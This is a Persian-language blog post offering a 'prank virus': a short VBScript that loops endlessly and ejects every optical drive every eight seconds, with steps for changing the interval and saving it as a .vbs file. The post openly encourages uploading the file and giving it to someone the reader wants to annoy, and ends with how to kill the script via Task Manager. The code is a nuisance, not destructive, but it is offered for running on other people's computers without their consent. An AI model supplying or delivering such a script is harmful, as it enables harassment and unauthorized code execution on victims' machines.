ویروس دیسک(سی دی خوان)
جمعه, ۷ دی ۱۳۹۷، ۰۸:۵۳ ب.ظ
ساخت یک ویروس سرکاری و اعصاب خورد کن دیگر
خوب حالا کد های زیر رو در یک نوت پد کپی کنید :
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 8000
loop
خوب با این ترفند هر 8 ثانیه دیسک خوان شما باز می شود
و اگه می خواید این مدت زمان رو بیشتر یا کمتر کنید
در قسمت
sleep 8000
که در کد ها هست رو می تونید مثلا به دو ثانیه (2000در کد بزنید بعد از کلمه ی sleep) تغییر بدید
که اینطوری میشه
sleep 2000
باز هم میگم که کپی کنید کد ها رو کپی کنید
آموزش تغییر دادن فرمت
و در آخر با فرمت vbs سیو کنید
و می تونید آپلودش کنید و به کسی که می خواید اذیتش کنید بدید
و برای غیر فعال کردن کلید های Ctrl + Alt + Delete
و start task manager رو انتخاب کنید و در پنجره ی باز شده processes رو انتخاب کنید و رویwscript.exe کلیک کنید و بعد هم روی end process و از شما یک سوال می پرسه و شما دوباره روی end process کلیک کنید .
دریافت فایل آماده
حجم: 301 بایت
